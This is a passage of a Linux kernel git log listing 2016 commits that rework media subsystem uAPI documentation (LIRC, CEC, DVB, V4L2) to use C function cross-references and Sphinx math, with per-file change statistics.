++---- Documentation/media/uapi/mediactl/media-ioc-setup-link.rst | 6 ++---- 8 files changed, 15 insertions(+), 25 deletions(-) commit 15c190146c5d1843d2eda0aac8be21d22c3ac431 Author: Mauro Carvalho Chehab Date: Fri Aug 19 16:59:31 2016 -0300 [media] docs-rst: Convert LIRC uAPI to use C function references Name all ioctl references and make them match the ioctls that are documented. That will improve the cross-reference index, as it will have all ioctls and syscalls there. While here, improve the documentation to make them to look more like the rest of the document. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/rc/lirc-get-features.rst | 6 ++---- Documentation/media/uapi/rc/lirc-get-length.rst | 6 ++---- Documentation/media/uapi/rc/lirc-get-rec-mode.rst | 11 ++++++----- Documentation/media/uapi/rc/lirc-get-rec-resolution.rst | 6 ++---- Documentation/media/uapi/rc/lirc-get-send-mode.rst | 9 +++++---- Documentation/media/uapi/rc/lirc-get-timeout.rst | 9 +++++---- Documentation/media/uapi/rc/lirc-read.rst | 5 ++++- Documentation/media/uapi/rc/lirc-set-measure-carrier-mode.rst | 6 ++---- Documentation/media/uapi/rc/lirc-set-rec-carrier-range.rst | 6 ++---- Documentation/media/uapi/rc/lirc-set-rec-carrier.rst | 6 ++---- Documentation/media/uapi/rc/lirc-set-rec-timeout-reports.rst | 6 ++---- Documentation/media/uapi/rc/lirc-set-rec-timeout.rst | 6 ++---- Documentation/media/uapi/rc/lirc-set-send-carrier.rst | 6 ++---- Documentation/media/uapi/rc/lirc-set-send-duty-cycle.rst | 6 ++---- Documentation/media/uapi/rc/lirc-set-transmitter-mask.rst | 6 ++---- Documentation/media/uapi/rc/lirc-set-wideband-receiver.rst | 6 ++---- Documentation/media/uapi/rc/lirc-write.rst | 6 ++++-- 17 files changed, 48 insertions(+), 64 deletions(-) commit 995478366220ba770895e24db04c601f19455f6b Author: Mauro Carvalho Chehab Date: Fri Aug 19 16:58:14 2016 -0300 [media] docs-rst: Convert CEC uAPI to use C function references Name all ioctl references and make them match the ioctls that are documented. That will improve the cross-reference index, as it will have all ioctls and syscalls there. While here, improve the documentation to make them to look more like the rest of the document. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/cec/cec-func-close.rst | 3 ++- Documentation/media/uapi/cec/cec-func-ioctl.rst | 5 +++-- Documentation/media/uapi/cec/cec-func-open.rst | 1 + Documentation/media/uapi/cec/cec-func-poll.rst | 10 ++++++++++ Documentation/media/uapi/cec/cec-ioc-adap-g-caps.rst | 6 ++---- Documentation/media/uapi/cec/cec-ioc-adap-g-log-addrs.rst | 12 ++++++------ Documentation/media/uapi/cec/cec-ioc-adap-g-phys-addr.rst | 13 +++++++------ Documentation/media/uapi/cec/cec-ioc-dqevent.rst | 7 ++----- Documentation/media/uapi/cec/cec-ioc-g-mode.rst | 13 +++++++------ Documentation/media/uapi/cec/cec-ioc-receive.rst | 13 +++++++------ 10 files changed, 47 insertions(+), 36 deletions(-) commit cf8076c31471f967080a5c77daac7582b0b6d63f Author: Mauro Carvalho Chehab Date: Fri Aug 19 16:56:15 2016 -0300 [media] docs-rst: Convert DVB uAPI to use C function references Name all ioctl references and make them match the ioctls that are documented. That will improve the cross-reference index, as it will have all ioctls and syscalls there. While here, improve the documentation, marking the deprecated ioctls, and making the non-deprecated ones more like the rest of the media book. Also, add a notice for ioctls that still require documentation. Signed-off-by: Mauro Carvalho Chehab .../uapi/dvb/audio-bilingual-channel-select.rst | 15 +++---- .../media/uapi/dvb/audio-channel-select.rst | 14 +++---- .../media/uapi/dvb/audio-clear-buffer.rst | 12 ++---- Documentation/media/uapi/dvb/audio-continue.rst | 11 ++--- Documentation/media/uapi/dvb/audio-fclose.rst | 4 +- Documentation/media/uapi/dvb/audio-fopen.rst | 4 +- Documentation/media/uapi/dvb/audio-fwrite.rst | 2 + .../media/uapi/dvb/audio-get-capabilities.rst | 14 +++---- Documentation/media/uapi/dvb/audio-get-pts.rst | 14 +++---- Documentation/media/uapi/dvb/audio-get-status.rst | 14 +++---- Documentation/media/uapi/dvb/audio-pause.rst | 11 ++--- Documentation/media/uapi/dvb/audio-play.rst | 11 ++--- .../media/uapi/dvb/audio-select-source.rst | 14 +++---- .../media/uapi/dvb/audio-set-attributes.rst | 16 +++---- Documentation/media/uapi/dvb/audio-set-av-sync.rst | 24 ++++------- .../media/uapi/dvb/audio-set-bypass-mode.rst | 25 ++++------- Documentation/media/uapi/dvb/audio-set-ext-id.rst | 15 +++---- Documentation/media/uapi/dvb/audio-set-id.rst | 15 +++---- Documentation/media/uapi/dvb/audio-set-karaoke.rst | 14 +++---- Documentation/media/uapi/dvb/audio-set-mixer.rst | 15 +++---- Documentation/media/uapi/dvb/audio-set-mute.rst | 24 ++++------- .../media/uapi/dvb/audio-set-streamtype.rst | 14 +++---- Documentation/media/uapi/dvb/audio-stop.rst | 11 ++--- Documentation/media/uapi/dvb/ca-fclose.rst | 18 +++----- Documentation/media/uapi/dvb/ca-fopen.rst | 49 ++++++++-------------- Documentation/media/uapi/dvb/ca-get-cap.rst | 30 ++++--------- Documentation/media/uapi/dvb/ca-get-descr-info.rst | 31 ++++---------- Documentation/media/uapi/dvb/ca-get-msg.rst | 30 ++++--------- Documentation/media/uapi/dvb/ca-get-slot-info.rst | 30 ++++--------- Documentation/media/uapi/dvb/ca-reset.rst | 24 +++-------- Documentation/media/uapi/dvb/ca-send-msg.rst | 30 ++++--------- Documentation/media/uapi/dvb/ca-set-descr.rst | 30 ++++--------- Documentation/media/uapi/dvb/ca-set-pid.rst | 30 ++++--------- Documentation/media/uapi/dvb/dmx-add-pid.rst | 28 +++---------- Documentation/media/uapi/dvb/dmx-fclose.rst | 14 ++----- Documentation/media/uapi/dvb/dmx-fopen.rst | 43 ++++++++----------- Documentation/media/uapi/dvb/dmx-fread.rst | 29 ++++--------- Documentation/media/uapi/dvb/dmx-fwrite.rst | 30 ++++--------- Documentation/media/uapi/dvb/dmx-get-caps.rst | 31 ++++---------- Documentation/media/uapi/dvb/dmx-get-event.rst | 28 +++---------- Documentation/media/uapi/dvb/dmx-get-pes-pids.rst | 31 ++++---------- Documentation/media/uapi/dvb/dmx-get-stc.rst | 31 +++----------- Documentation/media/uapi/dvb/dmx-remove-pid.rst | 28 +++---------- .../media/uapi/dvb/dmx-set-buffer-size.rst | 29 +++---------- Documentation/media/uapi/dvb/dmx-set-filter.rst | 28 +++---------- .../media/uapi/dvb/dmx-set-pes-filter.rst | 27 +++--------- Documentation/media/uapi/dvb/dmx-set-source.rst | 29 ++++--------- Documentation/media/uapi/dvb/dmx-start.rst | 22 ++-------- Documentation/media/uapi/dvb/dmx-stop.rst | 22 ++-------- .../media/uapi/dvb/fe-diseqc-recv-slave-reply.rst | 6 +-- .../media/uapi/dvb/fe-diseqc-reset-overload.rst | 7 +--- .../media/uapi/dvb/fe-diseqc-send-burst.rst | 6 +-- .../media/uapi/dvb/fe-diseqc-send-master-cmd.rst | 6 +-- .../uapi/dvb/fe-dishnetwork-send-legacy-cmd.rst | 16 +++---- .../media/uapi/dvb/fe-enable-high-lnb-voltage.rst | 6 +-- Documentation/media/uapi/dvb/fe-get-event.rst | 35 ++++------------ Documentation/media/uapi/dvb/fe-get-frontend.rst | 30 ++++--------- Documentation/media/uapi/dvb/fe-get-info.rst | 6 +-- Documentation/media/uapi/dvb/fe-get-property.rst | 9 ++-- Documentation/media/uapi/dvb/fe-read-ber.rst | 30 ++++--------- .../media/uapi/dvb/fe-read-signal-strength.rst | 31 ++++---------- Documentation/media/uapi/dvb/fe-read-snr.rst | 29 ++++--------- Documentation/media/uapi/dvb/fe-read-status.rst | 6 +-- .../media/uapi/dvb/fe-read-uncorrected-blocks.rst | 31 ++++---------- .../media/uapi/dvb/fe-set-frontend-tune-mode.rst | 6 +-- Documentation/media/uapi/dvb/fe-set-frontend.rst | 31 ++++---------- Documentation/media/uapi/dvb/fe-set-tone.rst | 6 +-- Documentation/media/uapi/dvb/fe-set-voltage.rst | 6 +-- Documentation/media/uapi/dvb/frontend_f_close.rst | 4 +- Documentation/media/uapi/dvb/frontend_f_open.rst | 2 +- Documentation/media/uapi/dvb/net-add-if.rst | 6 +-- Documentation/media/uapi/dvb/net-get-if.rst | 6 +-- Documentation/media/uapi/dvb/net-remove-if.rst | 6 +-- .../media/uapi/dvb/video-clear-buffer.rst | 4 +- Documentation/media/uapi/dvb/video-command.rst | 4 +- Documentation/media/uapi/dvb/video-continue.rst | 4 +- .../media/uapi/dvb/video-fast-forward.rst | 4 +- Documentation/media/uapi/dvb/video-fclose.rst | 1 + Documentation/media/uapi/dvb/video-fopen.rst | 1 + Documentation/media/uapi/dvb/video-freeze.rst | 4 +- Documentation/media/uapi/dvb/video-fwrite.rst | 1 + .../media/uapi/dvb/video-get-capabilities.rst | 4 +- Documentation/media/uapi/dvb/video-get-event.rst | 4 +- .../media/uapi/dvb/video-get-frame-count.rst | 4 +- .../media/uapi/dvb/video-get-frame-rate.rst | 4 +- Documentation/media/uapi/dvb/video-get-navi.rst | 4 +- Documentation/media/uapi/dvb/video-get-pts.rst | 4 +- Documentation/media/uapi/dvb/video-get-size.rst | 4 +- Documentation/media/uapi/dvb/video-get-status.rst | 4 +- Documentation/media/uapi/dvb/video-play.rst | 4 +- .../media/uapi/dvb/video-select-source.rst | 4 +- .../media/uapi/dvb/video-set-attributes.rst | 4 +- Documentation/media/uapi/dvb/video-set-blank.rst | 4 +- .../media/uapi/dvb/video-set-display-format.rst | 4 +- Documentation/media/uapi/dvb/video-set-format.rst | 4 +- .../media/uapi/dvb/video-set-highlight.rst | 4 +- Documentation/media/uapi/dvb/video-set-id.rst | 4 +- .../media/uapi/dvb/video-set-spu-palette.rst | 4 +- Documentation/media/uapi/dvb/video-set-spu.rst | 4 +- .../media/uapi/dvb/video-set-streamtype.rst | 4 +- Documentation/media/uapi/dvb/video-set-system.rst | 4 +- Documentation/media/uapi/dvb/video-slowmotion.rst | 4 +- .../media/uapi/dvb/video-stillpicture.rst | 4 +- Documentation/media/uapi/dvb/video-stop.rst | 4 +- Documentation/media/uapi/dvb/video-try-command.rst | 4 +- 105 files changed, 470 insertions(+), 1041 deletions(-) commit 41d804653ec8aaee432bfd9a78f4c0e24553f5ab Author: Mauro Carvalho Chehab Date: Fri Aug 19 16:53:38 2016 -0300 [media] docs-rst: Convert V4L2 uAPI to use C function references Name all ioctl references and make them match the ioctls that are documented. That will improve the cross-reference index, as it will have all ioctls and syscalls there. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/func-close.rst | 2 +- Documentation/media/uapi/v4l/func-ioctl.rst | 2 +- Documentation/media/uapi/v4l/func-mmap.rst | 2 +- Documentation/media/uapi/v4l/func-munmap.rst | 2 +- Documentation/media/uapi/v4l/func-open.rst | 2 +- Documentation/media/uapi/v4l/func-poll.rst | 2 +- Documentation/media/uapi/v4l/func-read.rst | 6 ++++-- Documentation/media/uapi/v4l/func-select.rst | 16 +++++++++++++++- Documentation/media/uapi/v4l/func-write.rst | 6 ++++-- Documentation/media/uapi/v4l/vidioc-create-bufs.rst | 6 ++---- Documentation/media/uapi/v4l/vidioc-cropcap.rst | 6 ++---- Documentation/media/uapi/v4l/vidioc-dbg-g-chip-info.rst | 6 ++---- Documentation/media/uapi/v4l/vidioc-dbg-g-register.rst | 9 ++++----- Documentation/media/uapi/v4l/vidioc-decoder-cmd.rst | 11 +++++++---- Documentation/media/uapi/v4l/vidioc-dqevent.rst | 6 ++---- Documentation/media/uapi/v4l/vidioc-dv-timings-cap.rst | 9 +++++---- Documentation/media/uapi/v4l/vidioc-encoder-cmd.rst | 9 +++++---- Documentation/media/uapi/v4l/vidioc-enum-dv-timings.rst | 9 +++++---- Documentation/media/uapi/v4l/vidioc-enum-fmt.rst | 6 ++---- .../media/uapi/v4l/vidioc-enum-frameintervals.rst | 6 ++---- Documentation/media/uapi/v4l/vidioc-enum-framesizes.rst | 6 ++---- Documentation/media/uapi/v4l/vidioc-enum-freq-bands.rst | 6 ++---- Documentation/media/uapi/v4l/vidioc-enumaudio.rst | 6 ++---- Documentation/media/uapi/v4l/vidioc-enumaudioout.rst | 6 ++---- Documentation/media/uapi/v4l/vidioc-enuminput.rst | 6 ++---- Documentation/media/uapi/v4l/vidioc-enumoutput.rst | 6 ++---- Documentation/media/uapi/v4l/vidioc-enumstd.rst | 6 ++---- Documentation/media/uapi/v4l/vidioc-expbuf.rst | 6 ++---- Documentation/media/uapi/v4l/vidioc-g-audio.rst | 9 ++++----- Documentation/media/uapi/v4l/vidioc-g-audioout.rst | 9 ++++----- Documentation/media/uapi/v4l/vidioc-g-crop.rst | 9 ++++----- Documentation/media/uapi/v4l/vidioc-g-ctrl.rst | 9 +++++---- Documentation/media/uapi/v4l/vidioc-g-dv-timings.rst | 16 +++++++++++----- Documentation/media/uapi/v4l/vidioc-g-edid.rst | 17 ++++++++++++----- Documentation/media/uapi/v4l/vidioc-g-enc-index.rst | 6 ++---- Documentation/media/uapi/v4l/vidioc-g-ext-ctrls.rst | 15 ++++++++++----- Documentation/media/uapi/v4l/vidioc-g-fbuf.rst | 9 ++++----- Documentation/media/uapi/v4l/vidioc-g-fmt.rst | 11 +++++++---- Documentation/media/uapi/v4l/vidioc-g-frequency.rst | 9 ++++----- Documentation/media/uapi/v4l/vidioc-g-input.rst | 9 +++++---- Documentation/media/uapi/v4l/vidioc-g-jpegcomp.rst | 9 ++++----- Documentation/media/uapi/v4l/vidioc-g-modulator.rst | 9 ++++----- Documentation/media/uapi/v4l/vidioc-g-output.rst | 9 +++++---- Documentation/media/uapi/v4l/vidioc-g-parm.rst | 9 +++++---- Documentation/media/uapi/v4l/vidioc-g-priority.rst | 9 ++++----- Documentation/media/uapi/v4l/vidioc-g-selection.rst | 7 ++++++- .../media/uapi/v4l/vidioc-g-sliced-vbi-cap.rst | 6 ++---- Documentation/media/uapi/v4l/vidioc-g-std.rst | 9 ++++----- Documentation/media/uapi/v4l/vidioc-g-tuner.rst | 9 ++++----- Documentation/media/uapi/v4l/vidioc-log-status.rst | 5 ++++- Documentation/media/uapi/v4l/vidioc-overlay.rst | 6 ++---- Documentation/media/uapi/v4l/vidioc-prepare-buf.rst | 6 ++---- Documentation/media/uapi/v4l/vidioc-qbuf.rst | 9 +++++---- .../media/uapi/v4l/vidioc-query-dv-timings.rst | 9 +++++---- Documentation/media/uapi/v4l/vidioc-querybuf.rst | 6 ++---- Documentation/media/uapi/v4l/vidioc-querycap.rst | 6 ++---- Documentation/media/uapi/v4l/vidioc-queryctrl.rst | 12 ++++++------ Documentation/media/uapi/v4l/vidioc-querystd.rst | 6 ++---- Documentation/media/uapi/v4l/vidioc-reqbufs.rst | 6 ++---- Documentation/media/uapi/v4l/vidioc-s-hw-freq-seek.rst | 6 ++---- Documentation/media/uapi/v4l/vidioc-streamon.rst | 9 +++++---- .../uapi/v4l/vidioc-subdev-enum-frame-interval.rst | 6 ++---- .../media/uapi/v4l/vidioc-subdev-enum-frame-size.rst | 6 ++---- .../media/uapi/v4l/vidioc-subdev-enum-mbus-code.rst | 6 ++---- Documentation/media/uapi/v4l/vidioc-subdev-g-crop.rst | 9 ++++----- Documentation/media/uapi/v4l/vidioc-subdev-g-fmt.rst | 9 +++++---- .../media/uapi/v4l/vidioc-subdev-g-frame-interval.rst | 10 +++++----- .../media/uapi/v4l/vidioc-subdev-g-selection.rst | 9 +++++---- Documentation/media/uapi/v4l/vidioc-subscribe-event.rst | 9 +++++---- 69 files changed, 262 insertions(+), 263 deletions(-) commit 1b81f010bfd8ce61b79329d7ebb23b62d5d7effb Author: Mauro Carvalho Chehab Date: Fri Aug 19 12:00:43 2016 -0300 [media] docs-next: stop abusing on the cpp domain Now that we have an override for the c domain that will do the right thing for the Kernel, stop abusing on the cpp domain. Signed-off-by: Mauro Carvalho Chehab Documentation/media/conf_nitpick.py | 33 +++++++++++----------- Documentation/media/kapi/dtv-core.rst | 2 +- Documentation/media/kapi/v4l2-dev.rst | 4 +-- Documentation/media/kapi/v4l2-fh.rst | 4 +-- Documentation/media/kapi/v4l2-subdev.rst | 2 +- Documentation/media/uapi/cec/cec-func-close.rst | 2 +- Documentation/media/uapi/cec/cec-func-ioctl.rst | 2 +- Documentation/media/uapi/cec/cec-func-open.rst | 2 +- Documentation/media/uapi/cec/cec-func-poll.rst | 2 +- .../media/uapi/cec/cec-ioc-adap-g-caps.rst | 2 +- .../media/uapi/cec/cec-ioc-adap-g-log-addrs.rst | 2 +- .../media/uapi/cec/cec-ioc-adap-g-phys-addr.rst | 2 +- Documentation/media/uapi/cec/cec-ioc-g-mode.rst | 2 +- Documentation/media/uapi/cec/cec-ioc-receive.rst | 2 +- .../uapi/dvb/audio-bilingual-channel-select.rst | 2 +- .../media/uapi/dvb/audio-channel-select.rst | 2 +- .../media/uapi/dvb/audio-clear-buffer.rst | 2 +- Documentation/media/uapi/dvb/audio-continue.rst | 2 +- Documentation/media/uapi/dvb/audio-fclose.rst | 2 +- Documentation/media/uapi/dvb/audio-fopen.rst | 2 +- Documentation/media/uapi/dvb/audio-fwrite.rst | 2 +- .../media/uapi/dvb/audio-get-capabilities.rst | 2 +- Documentation/media/uapi/dvb/audio-get-pts.rst | 2 +- Documentation/media/uapi/dvb/audio-get-status.rst | 2 +- Documentation/media/uapi/dvb/audio-pause.rst | 2 +- Documentation/media/uapi/dvb/audio-play.rst | 2 +- .../media/uapi/dvb/audio-select-source.rst | 2 +- .../media/uapi/dvb/audio-set-attributes.rst | 2 +- Documentation/media/uapi/dvb/audio-set-av-sync.rst | 2 +- .../media/uapi/dvb/audio-set-bypass-mode.rst | 2 +- Documentation/media/uapi/dvb/audio-set-ext-id.rst | 2 +- Documentation/media/uapi/dvb/audio-set-id.rst | 2 +- Documentation/media/uapi/dvb/audio-set-karaoke.rst | 2 +- Documentation/media/uapi/dvb/audio-set-mixer.rst | 2 +- Documentation/media/uapi/dvb/audio-set-mute.rst | 2 +- .../media/uapi/dvb/audio-set-streamtype.rst | 2 +- Documentation/media/uapi/dvb/audio-stop.rst | 2 +- Documentation/media/uapi/dvb/ca-fclose.rst | 2 +- Documentation/media/uapi/dvb/ca-fopen.rst | 2 +- Documentation/media/uapi/dvb/ca-get-cap.rst | 2 +- Documentation/media/uapi/dvb/ca-get-descr-info.rst | 2 +- Documentation/media/uapi/dvb/ca-get-msg.rst | 2 +- Documentation/media/uapi/dvb/ca-get-slot-info.rst | 2 +- Documentation/media/uapi/dvb/ca-reset.rst | 2 +- Documentation/media/uapi/dvb/ca-send-msg.rst | 2 +- Documentation/media/uapi/dvb/ca-set-descr.rst | 2 +- Documentation/media/uapi/dvb/ca-set-pid.rst | 2 +- Documentation/media/uapi/dvb/dmx-add-pid.rst | 2 +- Documentation/media/uapi/dvb/dmx-fclose.rst | 2 +- Documentation/media/uapi/dvb/dmx-fopen.rst | 2 +- Documentation/media/uapi/dvb/dmx-fread.rst | 2 +- Documentation/media/uapi/dvb/dmx-fwrite.rst | 2 +- Documentation/media/uapi/dvb/dmx-get-caps.rst | 2 +- Documentation/media/uapi/dvb/dmx-get-event.rst | 2 +- Documentation/media/uapi/dvb/dmx-get-pes-pids.rst | 2 +- Documentation/media/uapi/dvb/dmx-get-stc.rst | 2 +- Documentation/media/uapi/dvb/dmx-remove-pid.rst | 2 +- .../media/uapi/dvb/dmx-set-buffer-size.rst | 2 +- Documentation/media/uapi/dvb/dmx-set-filter.rst | 2 +- .../media/uapi/dvb/dmx-set-pes-filter.rst | 2 +- Documentation/media/uapi/dvb/dmx-set-source.rst | 2 +- Documentation/media/uapi/dvb/dmx-start.rst | 2 +- Documentation/media/uapi/dvb/dmx-stop.rst | 2 +- .../media/uapi/dvb/fe-diseqc-recv-slave-reply.rst | 2 +- .../media/uapi/dvb/fe-diseqc-reset-overload.rst | 2 +- .../media/uapi/dvb/fe-diseqc-send-burst.rst | 2 +- .../media/uapi/dvb/fe-diseqc-send-master-cmd.rst | 2 +- .../uapi/dvb/fe-dishnetwork-send-legacy-cmd.rst | 2 +- .../media/uapi/dvb/fe-enable-high-lnb-voltage.rst | 2 +- Documentation/media/uapi/dvb/fe-get-event.rst | 2 +- Documentation/media/uapi/dvb/fe-get-frontend.rst | 2 +- Documentation/media/uapi/dvb/fe-get-info.rst | 2 +- Documentation/media/uapi/dvb/fe-get-property.rst | 2 +- Documentation/media/uapi/dvb/fe-read-ber.rst | 2 +- .../media/uapi/dvb/fe-read-signal-strength.rst | 2 +- Documentation/media/uapi/dvb/fe-read-snr.rst | 2 +- Documentation/media/uapi/dvb/fe-read-status.rst | 2 +- .../media/uapi/dvb/fe-read-uncorrected-blocks.rst | 2 +- .../media/uapi/dvb/fe-set-frontend-tune-mode.rst | 2 +- Documentation/media/uapi/dvb/fe-set-frontend.rst | 2 +- Documentation/media/uapi/dvb/fe-set-tone.rst | 2 +- Documentation/media/uapi/dvb/fe-set-voltage.rst | 2 +- Documentation/media/uapi/dvb/frontend_f_close.rst | 2 +- Documentation/media/uapi/dvb/frontend_f_open.rst | 2 +- Documentation/media/uapi/dvb/net-add-if.rst | 2 +- Documentation/media/uapi/dvb/net-get-if.rst | 2 +- Documentation/media/uapi/dvb/net-remove-if.rst | 2 +- .../media/uapi/dvb/video-clear-buffer.rst | 2 +- Documentation/media/uapi/dvb/video-command.rst | 2 +- Documentation/media/uapi/dvb/video-continue.rst | 2 +- .../media/uapi/dvb/video-fast-forward.rst | 2 +- Documentation/media/uapi/dvb/video-fclose.rst | 2 +- Documentation/media/uapi/dvb/video-fopen.rst | 2 +- Documentation/media/uapi/dvb/video-freeze.rst | 2 +- Documentation/media/uapi/dvb/video-fwrite.rst | 2 +- .../media/uapi/dvb/video-get-capabilities.rst | 2 +- Documentation/media/uapi/dvb/video-get-event.rst | 2 +- .../media/uapi/dvb/video-get-frame-count.rst | 2 +- .../media/uapi/dvb/video-get-frame-rate.rst | 2 +- Documentation/media/uapi/dvb/video-get-navi.rst | 2 +- Documentation/media/uapi/dvb/video-get-pts.rst | 2 +- Documentation/media/uapi/dvb/video-get-size.rst | 2 +- Documentation/media/uapi/dvb/video-get-status.rst | 2 +- Documentation/media/uapi/dvb/video-play.rst | 2 +- .../media/uapi/dvb/video-select-source.rst | 2 +- .../media/uapi/dvb/video-set-attributes.rst | 2 +- Documentation/media/uapi/dvb/video-set-blank.rst | 2 +- .../media/uapi/dvb/video-set-display-format.rst | 2 +- Documentation/media/uapi/dvb/video-set-format.rst | 2 +- .../media/uapi/dvb/video-set-highlight.rst | 2 +- Documentation/media/uapi/dvb/video-set-id.rst | 2 +- .../media/uapi/dvb/video-set-spu-palette.rst | 2 +- Documentation/media/uapi/dvb/video-set-spu.rst | 2 +- .../media/uapi/dvb/video-set-streamtype.rst | 2 +- Documentation/media/uapi/dvb/video-set-system.rst | 2 +- Documentation/media/uapi/dvb/video-slowmotion.rst | 2 +- .../media/uapi/dvb/video-stillpicture.rst | 2 +- Documentation/media/uapi/dvb/video-stop.rst | 2 +- Documentation/media/uapi/dvb/video-try-command.rst | 2 +- .../media/uapi/mediactl/media-func-close.rst | 2 +- .../media/uapi/mediactl/media-func-ioctl.rst | 2 +- .../media/uapi/mediactl/media-func-open.rst | 2 +- .../media/uapi/mediactl/media-ioc-device-info.rst | 2 +- .../uapi/mediactl/media-ioc-enum-entities.rst | 2 +- .../media/uapi/mediactl/media-ioc-enum-links.rst | 2 +- .../media/uapi/mediactl/media-ioc-g-topology.rst | 2 +- .../media/uapi/mediactl/media-ioc-setup-link.rst | 2 +- Documentation/media/uapi/rc/lirc-get-features.rst | 2 +- Documentation/media/uapi/rc/lirc-get-length.rst | 2 +- Documentation/media/uapi/rc/lirc-get-rec-mode.rst | 2 +- .../media/uapi/rc/lirc-get-rec-resolution.rst | 2 +- Documentation/media/uapi/rc/lirc-get-send-mode.rst | 2 +- Documentation/media/uapi/rc/lirc-get-timeout.rst | 2 +- Documentation/media/uapi/rc/lirc-read.rst | 2 +- .../uapi/rc/lirc-set-measure-carrier-mode.rst | 2 +- .../media/uapi/rc/lirc-set-rec-carrier-range.rst | 2 +- .../media/uapi/rc/lirc-set-rec-carrier.rst | 2 +- .../media/uapi/rc/lirc-set-rec-timeout-reports.rst | 2 +- .../media/uapi/rc/lirc-set-rec-timeout.rst | 2 +- .../media/uapi/rc/lirc-set-send-carrier.rst | 2 +- .../media/uapi/rc/lirc-set-send-duty-cycle.rst | 2 +- .../media/uapi/rc/lirc-set-transmitter-mask.rst | 2 +- .../media/uapi/rc/lirc-set-wideband-receiver.rst | 2 +- Documentation/media/uapi/rc/lirc-write.rst | 2 +- Documentation/media/uapi/v4l/func-close.rst | 2 +- Documentation/media/uapi/v4l/func-ioctl.rst | 2 +- Documentation/media/uapi/v4l/func-mmap.rst | 2 +- Documentation/media/uapi/v4l/func-munmap.rst | 2 +- Documentation/media/uapi/v4l/func-open.rst | 2 +- Documentation/media/uapi/v4l/func-poll.rst | 2 +- Documentation/media/uapi/v4l/func-read.rst | 2 +- Documentation/media/uapi/v4l/func-select.rst | 2 +- Documentation/media/uapi/v4l/func-write.rst | 2 +- .../media/uapi/v4l/vidioc-create-bufs.rst | 2 +- Documentation/media/uapi/v4l/vidioc-cropcap.rst | 2 +- .../media/uapi/v4l/vidioc-dbg-g-chip-info.rst | 2 +- .../media/uapi/v4l/vidioc-dbg-g-register.rst | 4 +-- .../media/uapi/v4l/vidioc-decoder-cmd.rst | 2 +- Documentation/media/uapi/v4l/vidioc-dqevent.rst | 2 +- .../media/uapi/v4l/vidioc-dv-timings-cap.rst | 2 +- .../media/uapi/v4l/vidioc-encoder-cmd.rst | 2 +- .../media/uapi/v4l/vidioc-enum-dv-timings.rst | 2 +- Documentation/media/uapi/v4l/vidioc-enum-fmt.rst | 2 +- .../media/uapi/v4l/vidioc-enum-frameintervals.rst | 2 +- .../media/uapi/v4l/vidioc-enum-framesizes.rst | 2 +- .../media/uapi/v4l/vidioc-enum-freq-bands.rst | 2 +- Documentation/media/uapi/v4l/vidioc-enumaudio.rst | 2 +- .../media/uapi/v4l/vidioc-enumaudioout.rst | 2 +- Documentation/media/uapi/v4l/vidioc-enuminput.rst | 2 +- Documentation/media/uapi/v4l/vidioc-enumoutput.rst | 2 +- Documentation/media/uapi/v4l/vidioc-enumstd.rst | 2 +- Documentation/media/uapi/v4l/vidioc-expbuf.rst | 2 +- Documentation/media/uapi/v4l/vidioc-g-audio.rst | 4 +-- Documentation/media/uapi/v4l/vidioc-g-audioout.rst | 4 +-- Documentation/media/uapi/v4l/vidioc-g-crop.rst | 4 +-- Documentation/media/uapi/v4l/vidioc-g-ctrl.rst | 2 +- .../media/uapi/v4l/vidioc-g-dv-timings.rst | 2 +- Documentation/media/uapi/v4l/vidioc-g-edid.rst | 2 +- .../media/uapi/v4l/vidioc-g-enc-index.rst | 2 +- .../media/uapi/v4l/vidioc-g-ext-ctrls.rst | 2 +- Documentation/media/uapi/v4l/vidioc-g-fbuf.rst | 4 +-- Documentation/media/uapi/v4l/vidioc-g-fmt.rst | 2 +- .../media/uapi/v4l/vidioc-g-frequency.rst | 4 +-- Documentation/media/uapi/v4l/vidioc-g-input.rst | 2 +- Documentation/media/uapi/v4l/vidioc-g-jpegcomp.rst | 4 +-- .../media/uapi/v4l/vidioc-g-modulator.rst | 4 +-- Documentation/media/uapi/v4l/vidioc-g-output.rst | 2 +- Documentation/media/uapi/v4l/vidioc-g-parm.rst | 2 +- Documentation/media/uapi/v4l/vidioc-g-priority.rst | 4 +-- .../media/uapi/v4l/vidioc-g-selection.rst | 2 +- .../media/uapi/v4l/vidioc-g-sliced-vbi-cap.rst | 2 +- Documentation/media/uapi/v4l/vidioc-g-std.rst | 4 +-- Documentation/media/uapi/v4l/vidioc-g-tuner.rst | 4 +-- Documentation/media/uapi/v4l/vidioc-log-status.rst | 2 +- Documentation/media/uapi/v4l/vidioc-overlay.rst | 2 +- .../media/uapi/v4l/vidioc-prepare-buf.rst | 2 +- Documentation/media/uapi/v4l/vidioc-qbuf.rst | 2 +- .../media/uapi/v4l/vidioc-query-dv-timings.rst | 2 +- Documentation/media/uapi/v4l/vidioc-querybuf.rst | 2 +- Documentation/media/uapi/v4l/vidioc-querycap.rst | 2 +- Documentation/media/uapi/v4l/vidioc-queryctrl.rst | 6 ++-- Documentation/media/uapi/v4l/vidioc-querystd.rst | 2 +- Documentation/media/uapi/v4l/vidioc-reqbufs.rst | 2 +- .../media/uapi/v4l/vidioc-s-hw-freq-seek.rst | 2 +- Documentation/media/uapi/v4l/vidioc-streamon.rst | 2 +- .../uapi/v4l/vidioc-subdev-enum-frame-interval.rst | 2 +- .../uapi/v4l/vidioc-subdev-enum-frame-size.rst | 2 +- .../uapi/v4l/vidioc-subdev-enum-mbus-code.rst | 2 +- .../media/uapi/v4l/vidioc-subdev-g-crop.rst | 4 +-- .../media/uapi/v4l/vidioc-subdev-g-fmt.rst | 2 +- .../uapi/v4l/vidioc-subdev-g-frame-interval.rst | 2 +- .../media/uapi/v4l/vidioc-subdev-g-selection.rst | 2 +- .../media/uapi/v4l/vidioc-subscribe-event.rst | 2 +- 213 files changed, 244 insertions(+), 245 deletions(-) commit b7ff94df5628326d4e204c97e782ecc0f3dfa8e3 Author: Mauro Carvalho Chehab Date: Mon Aug 15 10:47:18 2016 -0300 [media] pixfmt-007.rst: use Sphinx math:: expressions Enrich math formulas by using the Sphinx math. That will allow using those formulas on pdf documents as well. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/pixfmt-007.rst | 175 ++++++++++++++++++---------- 1 file changed, 114 insertions(+), 61 deletions(-) commit 43c78e11eaa3bed44e35556a1ef690bd71dfa5ec Merge: 71fb2c7 8d8f60c Author: Mauro Carvalho Chehab Date: Mon Aug 22 21:20:18 2016 -0300 Merge 